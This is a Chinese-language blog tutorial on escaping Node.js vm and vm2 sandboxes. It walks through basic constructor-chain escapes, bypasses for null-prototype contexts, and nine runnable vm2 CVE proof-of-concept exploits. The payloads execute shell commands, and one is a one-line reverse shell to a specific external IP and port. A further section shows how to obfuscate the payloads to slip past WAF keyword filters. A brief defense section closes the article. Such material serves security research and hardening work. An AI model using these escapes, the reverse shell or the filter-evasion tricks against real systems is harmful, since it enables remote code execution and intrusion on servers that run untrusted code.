前言

JavaScript 的沙箱(Sandbox)技术一直是服务端安全的关键议题。在 Node.js 生态中,常见的沙箱方案包括原生 vm 模块、vm2 库,以及更现代的 isolated-vm

Node.js 官方文档明确警告:**”The vm module is not a security mechanism. Do not use it to run untrusted code.”**——vm 模块不是安全机制,不要用它运行不受信任的代码。

vmvm2 的关键区别在于:

  • vm 模块:Node.js 内置,在同一 V8 隔离区(Isolate)内创建上下文,通过作用域隔离实现沙箱。由于共享同一个 V8 Isolate,攻击者一旦拿到全局 Function 构造函数即可逃逸。
  • vm2:第三方库,在 vm 之上增加了多层安全校验(白名单、代理拦截、属性访问控制等),试图通过”层层加锁”的方式堵住逃逸路径。但历史证明,大多数版本仍存在可被绕过的漏洞。

本文将从 vm 模块基础讲起,逐步递进到 Object.create(null) 绕过技巧,最终汇总 vm2 的 9 个 CVE 级逃逸 POC。


vm 模块基础

vm 模块提供 5 个核心 API,每个都有不同的安全边界。

1. vm.createContext([sandbox])

先准备一个沙箱对象,再传给该方法。V8 为这个沙箱对象在当前 global 外再创建一个作用域,沙箱内部无法直接访问 global 中的属性。

1
2
3
const vm = require('vm');
const sandbox = { x: 2 };
vm.createContext(sandbox); // 将普通对象"上下文化"

2. vm.runInThisContext(code)

在当前 global 下创建一个作用域并执行代码。可以访问 global 上的全局变量,但访问不到调用处的局部变量。因此极其危险——可以直接拿到 global.process 实现 RCE。

1
2
3
4
5
6
7
8
9
10
11
const vm = require('vm');

global.globalVar = "我是全局变量";
let localVar = "我是局部变量";

const code = `
console.log(globalVar); // 成功:输出 "我是全局变量"
console.log(localVar); // 报错:ReferenceError: localVar is not defined
`;

vm.runInThisContext(code);

直接 RCE 示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
const vm = require('vm');

const sx = {
'name': 'chiling',
'age': 18
};

const context = vm.createContext(sx);
const result = vm.runInThisContext(
`process.mainModule.require('child_process').exec('calc')`,
context
);
console.log(result);

3. vm.runInContext(code, contextifiedSandbox[, options])

参数为要执行的代码和已上下文化的沙箱对象。代码在沙箱的上下文中执行,访问不到全局对象,相对安全。

1
2
3
4
5
6
7
8
const vm = require('vm');

let mySandbox = { x: 2 };
vm.createContext(mySandbox);

vm.runInContext('x = x + 40', mySandbox);

console.log(mySandbox.x); // 输出 42

4. vm.runInNewContext(code[, sandbox][, options])

创建一个全新的上下文并执行代码。同样访问不到外部全局变量,属于相对安全的方式。

1
2
3
4
5
6
7
8
9
10
11
const vm = require('vm');

const sandbox = {
animal: '猫',
count: 2
};

vm.runInNewContext('count += 1; name = "小花"', sandbox);

console.log(sandbox);
// 输出: { animal: '猫', count: 3, name: '小花' }

如果直接尝试获取 process,会失败:

1
2
3
4
5
const vm = require('vm');
const result = vm.runInNewContext(
`process.mainModule.require('child_process').exec('calc')`
);
console.log(result); // 报错:process is not defined

但是——如果攻击者能拿到宿主环境的 Function 构造函数,就能逃逸。

5. vm.Script(code, options)

创建一个 vm.Script 对象,只编译代码但不执行。编译后的 Script 可以被多次执行。code 不绑定于任何全局对象,仅绑定于每次执行它的对象。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
const util = require('util');
const vm = require('vm');

const sandbox = {
animal: 'cat',
count: 2
};

const script = new vm.Script('count += 1; name = "kitty";');
const context = vm.createContext(sandbox);
script.runInContext(context);

console.log(util.inspect(sandbox));
// 输出: { animal: 'cat', count: 3, name: 'kitty' }

基础逃逸链

核心 Payload

1
this.constructor.constructor("return process")()

原理解析:

  • this 指向沙箱对象。
  • this.constructor 拿到沙箱对象的构造函数(函数对象)。
  • this.constructor.constructor ——任何函数对象的构造函数都是 V8 引擎顶层的 Function 构造函数(在一个 JS 文件中,每个自定义 Function 都是顶层 Function 构造函数的实例)。
  • Function("return process")() 相当于在宿主环境动态创建一个新函数并执行,通过闭包拿到宿主环境中的 process 全局对象。

拿到 process 后 → process.mainModule.require('child_process').exec() → RCE。

三种入口变体

变体 1:通过 this

1
2
3
const vm = require('vm');
const result = vm.runInNewContext(`this.constructor.constructor("return process")()`);
result.mainModule.require('child_process').exec('calc');

变体 2:通过传入对象的 constructor

1
2
3
4
5
6
7
const vm = require('vm');
const context = vm.createContext({ aaaaa: [] });
const result = vm.runInNewContext(
`aaaaa.constructor.constructor("return process")()`,
context
);
result.mainModule.require('child_process').exec('calc');
  • aaaaa 是传入沙箱的数组(Array 实例)。
  • aaaaa.constructor → Array 构造函数。
  • aaaaa.constructor.constructor → Function 构造函数。

变体 3:通过字符串字面量的 constructor

1
2
3
4
5
const vm = require('vm');
const result = vm.runInNewContext(
`''.constructor.constructor("return process")()`
);
result.mainModule.require('child_process').exec('calc');

变体 4:通过 toString 的 constructor

1
2
3
const vm = require('vm');
const y1 = vm.runInNewContext(`this.toString.constructor("return process")();`);
console.log(y1.mainModule.require('child_process').exec('calc'));
  • this.toString 继承自 Object.prototype.toString,始终是一个函数对象。
  • this.toString.constructor → 百分之百是顶层的 Function 构造函数。

Object.create(null) 绕过(进阶)

为什么 Object.create(null) 能阻断基础逃逸链

之前的 Payload 相当于 runInNewContext 第二个参数传入 {}(等同于 new Object()),它继承 Object.prototype 上的所有属性,包括 constructor

Object.create(null) 创建的对象没有原型——不继承任何东西,没有 toStringhasOwnProperty,当然也没有 constructor

1
2
3
4
5
6
7
const vm = require('vm');
const context = Object.create(null);
const result = vm.runInNewContext(
`this.constructor.constructor("return process")()`,
context
);
// 逃逸失败!this 上没有 constructor 属性

绕过技巧 1:arguments.callee.caller

这条链利用了 JavaScript 函数内部的 arguments 对象,从沙箱内部沿着调用栈向上追溯,最终摸到宿主环境的 Function 构造函数。

背景知识:

  • arguments:每个函数内置的类数组对象,收集所有传入的参数。
  • arguments.callee:指向当前正在执行的函数自身。
  • arguments.callee.caller:指向调用当前函数的外层函数(如果是顶层调用则为 null)。
1
2
3
4
function test() {
console.log(arguments.callee); // 输出 [Function: test]
}
test();

完整 POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
const vm = require('vm');
const res = vm.runInContext(`
function test() {
const a = {};
a.toString = function () {
const cc = arguments.callee.caller;
const p = (cc.constructor.constructor('return process'))();
return p.mainModule.require('child_process').execSync('calc').toString();
};
return a;
}
test();
`, vm.createContext(Object.create(null)));

console.log("" + res);

执行流程:

  1. test() 在沙箱内执行,创建对象 a,给 a.toString 赋值,然后将 a 返回。此时 a.toString 内部的代码尚未执行
  2. 宿主环境拿到返回值 res,执行 "" + res(字符串拼接)。
  3. 为了完成字符串拼接,宿主环境调用 res.toString(),此时 a.toString 才真正运行。
  4. arguments.callee 指向 a.toString 自身;arguments.callee.caller 指向宿主环境中执行字符串拼接的内部函数。
  5. 通过 caller.constructor.constructor 拿到宿主 Function 构造函数 → 逃逸。

绕过技巧 2:Proxy set 陷阱

利用 Proxy 拦截属性赋值操作。当宿主环境向 Proxy 对象写入值时,set 陷阱被触发,此时传入的 value 参数是宿主环境创建的对象,其原型链完整、带有宿主 constructor

Proxy 基础:

1
2
3
4
5
6
7
8
9
10
11
12
13
const user = { name: "张三" };

const proxy = new Proxy(user, {
get: function(target, prop) {
if (prop === 'name') {
return target[prop] + " (已实名)";
}
return "未知属性";
}
});

console.log(proxy.name); // 输出: 张三 (已实名)
console.log(proxy.age); // 输出: 未知属性

set 陷阱示例:

1
2
3
4
5
6
7
8
9
10
11
12
const validator = {
set: function(obj, prop, value) {
if (prop === 'age' && typeof value !== 'number') {
throw new Error('年龄必须是数字!');
}
obj[prop] = value;
return true;
}
};

const person = new Proxy({}, validator);
person.age = "20"; // 抛出错误:年龄必须是数字!

完整 POC:

1
2
3
4
5
6
7
8
9
10
const vm = require('vm');
const code3 = `new Proxy({}, {
set: function(me, key, value) {
(value.constructor.constructor('return process'))()
.mainModule.require('child_process').execSync('calc').toString();
}
})`;

const data = vm.runInContext(code3, vm.createContext(Object.create(null)));
data['some_key'] = {};

原理:

  • data 拿到沙箱返回的 Proxy 对象。
  • data['some_key'] = {} 中,{}在宿主环境里定义的对象,它的原型链直接指向宿主环境的 Object.prototype
  • Proxy 的 set 陷阱被触发,value 指向宿主环境的 {}value.constructor.constructor 拿到宿主 Function 构造函数 → 逃逸。

vm2 沙箱逃逸 POC 集

vm2 虽然对 vm 模块增加了多层防护,但历史上仍被发现大量逃逸漏洞。以下是按时间线整理的典型 POC。

1. CVE-2019-10761(vm2 <= 3.6.10)

通过 Buffer.prototype.write 触发异常,在异常处理链中获取宿主 Function 构造函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
"use strict";
const { VM } = require('vm2');
const untrusted = `
const f = Buffer.prototype.write;
const ft = {
length: 10,
utf8Write() {}
};
function r(i) {
var x = 0;
try {
x = r(i);
} catch (e) {}
if (typeof(x) !== 'number') return x;
if (x !== i) return x + 1;
try {
f.call(ft);
} catch (e) {
return e;
}
return null;
}
var i = 1;
while (1) {
try {
i = r(i).constructor.constructor("return process")();
break;
} catch (x) {
i++;
}
}
i.mainModule.require("child_process").execSync("whoami").toString()
`;
try {
console.log(new VM().run(untrusted));
} catch (x) {
console.log(x);
}

2. vm2 <= 3.8.2:Symbol.toStringTag 异常

通过覆写 Symbol.toStringTag 的 getter 抛出函数,该函数接收的回调参数来自宿主环境。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
"use strict";
const { VM } = require('vm2');
const untrusted = '(' + function() {
Symbol = {
get toStringTag() {
throw f => f.constructor("return process")();
}
};
try {
Buffer.from(new Map());
} catch (f) {
Symbol = {};
return f(() => {}).mainModule.require("child_process").execSync("whoami").toString();
}
} + ')()';
try {
console.log(new VM().run(untrusted));
} catch (x) {
console.log(x);
}

3. vm2 <= 3.8.3:TypeError.prototype 注入

TypeError.prototype 上挂载恶意方法,触发类型错误时利用异常对象链式获取 process

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
"use strict";
const { VM } = require('vm2');
const untrusted = '(' + function() {
TypeError.prototype.get_process = f => f.constructor("return process")();
try {
Object.preventExtensions(Buffer.from("")).a = 1;
} catch (e) {
return e.get_process(() => {}).mainModule.require("child_process").execSync("whoami").toString();
}
} + ')()';
try {
console.log(new VM().run(untrusted));
} catch (x) {
console.log(x);
}

4. CVE-2021-23449:Dynamic Import + Promise 链

通过动态 import() 获取一个 Promise 对象,该对象的原型链指向宿主环境,从而拿到宿主 Function 构造函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
const { VM } = require('vm2');

const vm = new VM();

const code = `
(async () => {
let res = import('./foo.js').catch(() => {});
const ForeignFunction = res.toString.constructor;
const exec = ForeignFunction('return process.mainModule.require("child_process").execSync("whoami").toString()');
return exec();
})()
`;

vm.run(code).then(result => {
console.log("逃逸成功!当前执行用户为:", result);
}).catch(err => {
console.error("执行失败:", err);
});

5. CVE-2022-25893:WeakMap + Error.prepareStackTrace

通过覆写 WeakMap.prototype.setError.prepareStackTrace,利用栈追踪中的 getThis() 获取沙箱外对象,进而拿到 process

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
const { VM } = require('vm2');
new VM().run(`
const { set } = WeakMap.prototype;
WeakMap.prototype.set = function(v) {
return set.call(this, v, v);
};
Error.prepareStackTrace = (_, c) => c.map(c => c.getThis()).find(a => a);
const { stack } = new Error();
Error.prepareStackTrace = undefined;

const proc = stack.process;
const exec = proc.mainModule.require('child_process').exec;
exec('calc.exe');
`);

console.log('Finished');

6. CVE-2023-30547:Proxy getPrototypeOf 栈溢出

利用 Proxy 的 getPrototypeOf 陷阱递归触发栈溢出,在 catch 的解构赋值中拿到 constructor 实现逃逸。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
const { VM } = require("vm2");
const vm = new VM();

const code = `
err = {};
const handler = {
getPrototypeOf(target) {
(function stack() {
new Error().stack;
stack();
})();
}
};

const proxiedErr = new Proxy(err, handler);
try {
throw proxiedErr;
} catch ({ constructor: c }) {
c.constructor('return process')().mainModule.require('child_process').execSync('whoami');
}
`;
console.log(vm.run(code));

7. CVE-2023-37903(vm2 <= 3.9.19):nodejs.util.inspect.custom + WebAssembly

利用 Symbol.for('nodejs.util.inspect.custom') 注入自定义 inspect 函数,喂给 WebAssembly.compileStreaming() 时触发,inspect 的参数来自宿主环境。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
const { VM } = require("vm2");
const vm = new VM();

const code = `
const customInspectSymbol = Symbol.for('nodejs.util.inspect.custom');

obj = {
[customInspectSymbol]: (depth, opt, inspect) => {
inspect.constructor('return process')().mainModule.require('child_process').execSync('touch pwned');
},
valueOf: undefined,
constructor: undefined,
};

WebAssembly.compileStreaming(obj).catch(() => {});
`;

vm.run(code);

8. CVE-2026-22709:Error.name = Symbol() + 异步栈

Error.name 设置为 Symbol,在异步函数访问 error.stack 并进入 catch 分支后,利用 e.constructor 链获取宿主 Function

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
const { VM } = require("vm2");

const code = `
const error = new Error();
error.name = Symbol();
const f = async () => error.stack;
const promise = f();
promise.catch(e => {
const Error = e.constructor;
const Function = Error.constructor;
const f = new Function(
"process.mainModule.require('child_process').execSync('calc.exe')"
);
f();
});
`;

new VM().run(code);

9. CVE-2021-23449 单行变体(vm2 <= 3.9.5)

适合反弹 Shell 的一行 Payload:

1
2
let res = import('./app.js');
res.toString.constructor("return this")().process.mainModule.require("child_process").execSync("bash -c 'sh -i >& /dev/tcp/120.46.179.184/8787 0>&1'").toString();

绕过检测技巧

模板字符串嵌套

利用多层模板字符串嵌套拆分敏感关键词,绕过基于字符串匹配的 WAF/过滤器:

1
2
3
4
5
6
7
8
(function () {
TypeError[`${`${`prototyp`}e`}`][`${`${`get_proces`}s`}`] = f => f[`${`${`constructo`}r`}`](`${`${`return this.proces`}s`}`)();
try {
Object.preventExtensions(Buffer.from(``)).a = 1;
} catch (e) {
return e[`${`${`get_proces`}s`}`](() => {}).mainModule[`${`${`requir`}e`}`](`${`${`child_proces`}s`}`)[`${`${`exe`}cSync`}`](`cat /flag`).toString();
}
})();

Array.join 关键字混淆

prototype['p','r','o','t','o','t','y','p','e'].join('')

1
2
3
4
5
6
7
8
9
10
11
12
13
14
(() => {
TypeError[['p', 'r', 'o', 't', 'o', 't', 'y', 'p', 'e']['join']('')]['a'] = f =>
f[['c', 'o', 'n', 's', 't', 'r', 'u', 'c', 't', 'o', 'r']['join']('')](
['r', 'e', 't', 'u', 'r', 'n', ' ', 'p', 'r', 'o', 'c', 'e', 's', 's']['join']('')
)();

try {
Object['preventExtensions'](Buffer['from'](''))['a'] = 1;
} catch (e) {
return e['a'](() => {})['mainModule'][['r', 'e', 'q', 'u', 'i', 'r', 'e']['join']('')](
['c', 'h', 'i', 'l', 'd', '_', 'p', 'r', 'o', 'c', 'e', 's', 's']['join']('')
)[['e', 'x', 'e', 'c', 'S', 'y', 'n', 'c']['join']('')]('cat /flag')['toString']();
}
})();

防御

  1. 核心原则:永远不要把 vm 模块当作安全边界。Node.js 官方文档已经明确声明它不是安全机制。

  2. 使用 isolated-vm:如果需要真正的沙箱隔离,使用 isolated-vm 库。它基于 V8 Isolate 实现进程级隔离,每个沙箱运行在独立的 V8 Isolate 中,不共享堆内存,从根本上切断逃逸路径。

  3. vm2 已弃用vm2 项目已于 2023 年标记为 deprecated,不再维护。已有系统若无法立即迁移,至少确保升级到最新版本并严格控制沙箱内代码的可信度。

  4. SES / Compartment:考虑使用 TC39 提案中的 SES(Secure EcmaScript)和 Compartment API,通过冻结原型链和限制全局对象访问来构建更安全的沙箱。

  5. 最小权限原则:不要在沙箱中传入任何敏感的全局对象或函数。即使使用沙箱,也应对输入代码进行严格的语法和语义审查。


参考